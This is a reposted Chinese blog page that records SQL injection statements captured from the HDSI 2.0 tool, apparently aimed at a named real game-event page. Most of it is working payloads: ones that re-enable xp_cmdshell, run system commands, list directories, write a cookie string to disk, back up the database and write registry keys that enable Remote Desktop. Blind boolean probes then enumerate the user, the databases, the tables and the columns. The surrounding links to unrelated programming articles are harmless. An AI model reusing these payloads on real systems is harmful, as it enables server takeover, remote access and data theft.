在Hdsi2.0 SQL的註入部分抓包分析語句

来源:http://www.cnblogs.com/aspnetjia/archive/2016/02/16/5194065.html
-Advertisement-
Play Games

在Hdsi2.0 SQL的註入部分抓包分析語句 恢復cmd ;insert tb1 exec master..xp_cmdshell''net user ''-- ;exec master.dbo.sp_addextendedproc ''xp_cmdshell'',''xplog70.dll''-


在Hdsi2.0 SQL的註入部分抓包分析語句

恢復cmd

;insert tb1 exec master..xp_cmdshell''net user ''--

;exec master.dbo.sp_addextendedproc ''xp_cmdshell'',''xplog70.dll''--


執行命令：

sql: ;ipconfig -all--

dos：

;Drop table comd_list ;CREATE TABLE comd_list (ComResult nvarchar(1000)) INSERT comd_list EXEC MASTER..xp_cmdshell 
"ipconfig

-all"--


GET /plaza/event/new/crnt_event_view.asp?event_id=57

And (Select char(94)+Cast(Count(1) as varchar(8000))+char(94) From [comd_list] Where 1=1)>0


列目錄：
c:   jiaozhu 臨時表

;drop table jiaozhu;CREATE TABLE jiaozhu(DirName VARCHAR(100), DirAtt VARCHAR(100),DirFile VARCHAR(100)) INSERT jiaozhu 
EXEC

MASTER..XP_dirtree "c:",1,1--

GET /plaza/event/new/crnt_event_view.asp?event_id=57

And (Select char(94)+Cast(Count(1) as varchar(8000))+char(94) From [jiaozhu] Where 1=1)>0

上傳文件：

本地路徑：C:\Inetpub\wwwroot\cook.txt   保存位置：c：

資料庫存儲過程：

;exec master..xp_cmdshell '' echo

cdb_sid=3UrzOV;%20cdb_cookietime=2592000;%20cdb_auth=VgcCBAJbVQxVAVMCVghTBFJUUQYDBQdTV1BWVQoKAQE6PwNX;%
20cdb_visitedfid=12;%2

0cdb_oldtopics=D8D>c:\''--


資料庫備份：(上傳後刪除臨時表)

;Drop table [xiaopan];create table [dbo].[xiaopan] ([cmd] [text])--

;insert into xiaopan(cmd) values('' echoStr '')--

;declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=''c:/'' backup database @a todisk=@s WITH 
DIFFERENTIAL,FORMAT--

;Drop table [xiaopan]--


開啟3389：

;declare @r varchar(255) set @r=''hkey_local_machine''exec master..xp_regwrite

@r,''software\microsoft\windows\currentversion\netcache'',''enable'',''reg_sz'',''0'';-
---

;declare @r varchar(255) set @r=''hkey_local_machine''exec master..xp_regwrite @r,''software\microsoft\windows

nt\currentversion\winlogon'',''shutdownwithoutlogon'',''reg_sz'',''0'';----

;declare @r varchar(255) set @r=''hkey_local_machine''exec master..xp_regwrite

@r,''software\policies\microsoft\windows\installer'',''enableadmintsremote'',''reg_dword'',1;----

;declare @r varchar(255) set @r=''hkey_local_machine''exec master..xp_regwrite @r,''system\currentcontrolset\control
\terminal

servert'',''senabled'',''reg_dword'',1;----

;declare @r varchar(255) set @r=''hkey_local_machine''exec master..xp_regwrite

@r,''system\currentcontrolset\services\termdd'',''start'',''reg_dword'',2;----


;declare @r varchar(255) set @r=''hkey_local_machine''exec master..xp_regwrite

@r,''system\currentcontrolset\services\termservice'',''start'',''reg_dword'',2;----


;declare @r varchar(255) set @r=''hkey_local_machine''exec master..xp_regwrite ''hkey_users'',''.default\keyboard

layout\toggle'',''hotkey'',''reg_sz'',''1'';----

;declare @r varchar(255) set @r=''hkey_local_machine''exec master..xp_cmdshell ''iisreset /reboot'';----


註入分析：數字型 SQL錯誤提示關閉 開啟 access

使用關鍵字 寶石公園“你玩 我抽”中獎名單公佈

http://igame.sina.com.cn/plaza/event/new/crnt_event_view.asp?event_id=57

多句查詢 支持
子查詢   支持
許可權   public
當前用戶 dbo
當前庫   event

;create table t_jiaozhu(jiaozhu varchar(200))

And 1=1
And 1=2
And (Select Count(1) from SYSObjects)>0
and (select len(user))<32
;declare @a int--
And (IS_SRVROLEMEMBER(''sysadmin''))=1
And (IS_MEMBER(''db_owner''))=1
and (select len(user))<16
and (select len(user))<4
and (select len(user))<2
and (select len(user))<3
and (select len(user))<3
and (select len(user))<4
and (select ascii(substring(user,1,1)))<80
and (select ascii(substring(user,2,1)))<80
and (select ascii(substring(user,3,1)))<80
and (select ascii(substring(user,1,1)))<104
and (select ascii(substring(user,2,1)))<104
and (select ascii(substring(user,3,1)))<104
and (select ascii(substring(user,1,1)))<92
and (select ascii(substring(user,2,1)))<92
and (select ascii(substring(user,3,1)))<116
and (select ascii(substring(user,1,1)))<98
...
...
...

and (select len(db_name()))<16
and (select len(db_name()))<8
and (select len(db_name()))<4
...
...
...

and (select ascii(substring(db_name(),1,1)))<80
and (select ascii(substring(db_name(),2,1)))<80
and (select ascii(substring(db_name(),5,1)))<85


跨庫：

猜解資料庫：

GET

and (Select top 1 len(name) from (Select top 2 dbid,name from [master]..[sysdatabases] ) T order by dbid desc) <8
and (Select top 1 len(name) from (Select top 2 dbid,name from [master]..[sysdatabases] ) T order by dbid desc) <4
and (Select top 1 len(name) from (Select top 2 dbid,name from [master]..[sysdatabases] ) T order by dbid desc) <6
and (Select top 1 len(name) from (Select top 2 dbid,name from [master]..[sysdatabases] ) T order by dbid desc) <7
...
...
...

and (Select top 1 ascii(substring(name,2,1)) from (Select top 2 dbid,name from [master]..[sysdatabases] ) T order by 
dbid

desc) <104
and (Select top 1 ascii(substring(name,3,1)) from (Select top 2 dbid,name from [master]..[sysdatabases] ) T order by 
dbid

desc) <104
...
...
...


and (Select top 1 len(name) from (Select top 4 dbid,name from [master]..[sysdatabases] ) T order by dbid desc) <5


master 不是sa許可權，不能跨庫


猜解表名：

EventCategory

GET 
and (Select top 1 unicode(substring(name,2,1)) from(Select top 1 id,name from [EVENT]..sysobjects where xtype=char(85)) 
T

order by id desc) < 80

and (Select top 1 unicode(substring(name,11,1)) from(Select top 1 id,name from [EVENT]..sysobjects where xtype=char
(85)) T

order by id desc) < 80

and (Select top 1 unicode(substring(name,12,1)) from(Select top 1 id,name from [EVENT]..sysobjects where xtype=char
(85)) T

order by id desc) < 80


and (Select top 1 unicode(substring(name,6,1)) from(Select top 1 id,name from [EVENT]..sysobjects where xtype=char(85)) 
T

order by id desc) < 80


猜解列名：

GET

and (select count(1) from EVENT..syscolumns A,EVENT..sysobjects B where A.id=B.id and B.name=''EventCategory'')<32
and (select count(1) from EVENT..syscolumns A,EVENT..sysobjects B where A.id=B.id and B.name=''EventCategory'')<48
and (select count(1) from EVENT..syscolumns A,EVENT..sysobjects B where A.id=B.id and B.name=''EventCategory'')<56
and (select count(1) from EVENT..syscolumns A,EVENT..sysobjects B where A.id=B.id and B.name=''EventCategory'')<60
and (select count(1) from EVENT..syscolumns A,EVENT..sysobjects B where A.id=B.id and B.name=''EventCategory'')<62
and (select top 1 len(name) from ( select top 1 A.id,A.name from EVENT..syscolumns A,EVENT..sysobjects B where 
A.id=B.id and

B.name=''EventCategory'' order by A.name desc) T order by name asc )<35

 轉載自:http://www.aspnetjia.com/Cont-204.html
您的分享是我們最大的動力!

-Advertisement-
Play Games
更多相關文章
  • ios開發中的Swift面向對象
    iOS在現代電腦語言中，面向對象是非常重要的特性，Swift語言也提供了面向對象的支持。而且在Swift語言中，不僅類具有面向對象特性，結構體和枚舉也都具有面向對象特性。 1、Swift中的類和結構體 Swift中的類和結構體定義的語法也是非常相似的。我們可以使用class關鍵詞定義類，下麵我們定
  • iOS鬧鐘實現
    UILocalNotification *notification=[[UILocalNotification alloc] init]; if (notification!=nil) { NSDate *now=[NSDate new]; //notification.fireDate=[now
  • iOS 蘋果開發證書失效的解決方案(Failed to locate or generate matching signing assets)
    從2月14日開始,上傳程式的同學可能會遇到提示上傳失敗的提示. 並且打開自己的鑰匙串,發現所有的證書全部都顯示此證書簽發者無效. 出現以下情況： Failed to locate or generate matching signing assetsXcode attempted to locate
  • android-webview的使用小結
    不知道你有沒有註意，最近的app中越來越多的使用webview了，個人感覺，一方面是因為微信公眾號開發增多的促進，讓很多頁面開發後用到微信上面後，還要唚在公司的app中使用，又加上html5的進一步火熱，可以跨平臺使用，一次開發，可以用在Ios,android客戶端上，這樣，極大的節省了公司的開發成
  • iOS CoreData 開發之數據模型關係
    apple提供了CoreData作為數據存儲的一種手段。本人對其他的第三方不來點，喜歡apple的親兒子，原汁原味，就研究學習這個了。本次帶來CoreData相關數據模型關係操作。
  • 簡述.NET事務應用原則
    .NET事務應用原則 1.在同一個資料庫內進行CRUD時，應使用同一個DbConnection對象，且顯式指定DbConnection均為同一個DbTransaction，示例代碼如下： //在同一個DB中操作一個表時，可以不用顯式指定事務，因為單條SQL命令就是一個最小的事務單元 using (D
  • MySQL Range Optimization
    8.2.1.3 Range Optimization MYSQL的Range Optimization的目的還是儘可能的使用索引 The range access method uses a single index to retrieve a subset of table rows that a
  • SQL Server的優點與缺點
    一般來說索引會加快查詢速度,但會影響插入,修改,刪除的數據,且占用物理空間;所以我們應該合理的創建索引,而且應該先創建聚合索引,再創建非聚合索引.要在經常進行查詢的列上創建索引,而且如果表列較少的話要避免過多創建索引;優點詳細描述:創建索引可以大大提高系統的性能。第一，通過創建唯一性索引，可以保證數
一周排行
    -Advertisement-
    Play Games
  • 移動開發（一）：使用.NET MAUI開發第一個安卓APP
    移動開發（一）：使用.NET MAUI開發第一個安卓APP 對於工作多年的C#程式員來說，近來想嘗試開發一款安卓APP，考慮了很久最終選擇使用.NET MAUI這個微軟官方的框架來嘗試體驗開發安卓APP，畢竟是使用Visual Studio開發工具，使用起來也比較的順手，結合微軟官方的教程進行了安卓 ...
  • wpf ToggleButton選中效果和一個登錄界面
    前言 QuestPDF 是一個開源 .NET 庫，用於生成 PDF 文檔。使用了C# Fluent API方式可簡化開發、減少錯誤並提高工作效率。利用它可以輕鬆生成 PDF 報告、發票、導出文件等。 項目介紹 QuestPDF 是一個革命性的開源 .NET 庫，它徹底改變了我們生成 PDF 文檔的方 ...
  • 彈幕樹洞項目功能新增篇
    項目地址 項目後端地址： https://github.com/ZyPLJ/ZYTteeHole 項目前端頁面地址： ZyPLJ/TreeHoleVue (github.com) https://github.com/ZyPLJ/TreeHoleVue 目前項目測試訪問地址： http://tree ...
  • 第27篇 sqlserver2022詳細安裝步驟
    話不多說，直接開乾 一.下載 1.官方鏈接下載： https://www.microsoft.com/zh-cn/sql-server/sql-server-downloads 2.在下載目錄中找到下麵這個小的安裝包 SQL2022-SSEI-Dev.exe，運行開始下載SQL server； 二. ...
  • .NET 開源高性能 MQTT 類庫
    前言 隨著物聯網（IoT）技術的迅猛發展，MQTT（消息隊列遙測傳輸）協議憑藉其輕量級和高效性，已成為眾多物聯網應用的首選通信標準。 MQTTnet 作為一個高性能的 .NET 開源庫，為 .NET 平臺上的 MQTT 客戶端與伺服器開發提供了強大的支持。 本文將全面介紹 MQTTnet 的核心功能 ...
  • Serilog文檔翻譯系列（六） - 可用的接收器、增強器、格式化輸出
    Serilog支持多種接收器用於日誌存儲，增強器用於添加屬性，LogContext管理動態屬性，支持多種輸出格式包括純文本、JSON及ExpressionTemplate。還提供了自定義格式化選項，適用於不同需求。 ...
  • 警惕 Visual Studio 屬性求值副作用導致邏輯不符合預期
    目錄簡介獲取 HTML 文檔解析 HTML 文檔測試參考文章 簡介 動態內容網站使用 JavaScript 腳本動態檢索和渲染數據，爬取信息時需要模擬瀏覽器行為，否則獲取到的源碼基本是空的。 本文使用的爬取步驟如下： 使用 Selenium 獲取渲染後的 HTML 文檔 使用 HtmlAgility ...
  • [使用目前最新版]HybridCLR6.9.0+YooAsset2.2.4實現純C# Unity熱更新方案 (一)
    1.前言 什麼是熱更新 游戲或者軟體更新時，無需重新下載客戶端進行安裝，而是在應用程式啟動的情況下，在內部進行資源或者代碼更新 Unity目前常用熱更新解決方案 HybridCLR，Xlua，ILRuntime等 Unity目前常用資源管理解決方案 AssetBundles，Addressable， ...
  • 在 ASP.NET Core Web API 中使用操作篩選器統一處理通用操作
    本文章主要是在C# ASP.NET Core Web API框架實現向手機發送驗證碼簡訊功能。這裡我選擇是一個互億無線簡訊驗證碼平臺，其實像阿裡雲，騰訊雲上面也可以。 首先我們先去 互億無線 https://www.ihuyi.com/api/sms.html 去註冊一個賬號 註冊完成賬號後，它會送 ...
  • 第28篇 如何.net中實現高效可靠數據同步api
    通過以下方式可以高效，並保證數據同步的可靠性 1.API設計 使用RESTful設計，確保API端點明確，並使用適當的HTTP方法（如POST用於創建，PUT用於更新）。 設計清晰的請求和響應模型，以確保客戶端能夠理解預期格式。 2.數據驗證 在伺服器端進行嚴格的數據驗證，確保接收到的數據符合預期格 ...
所有分類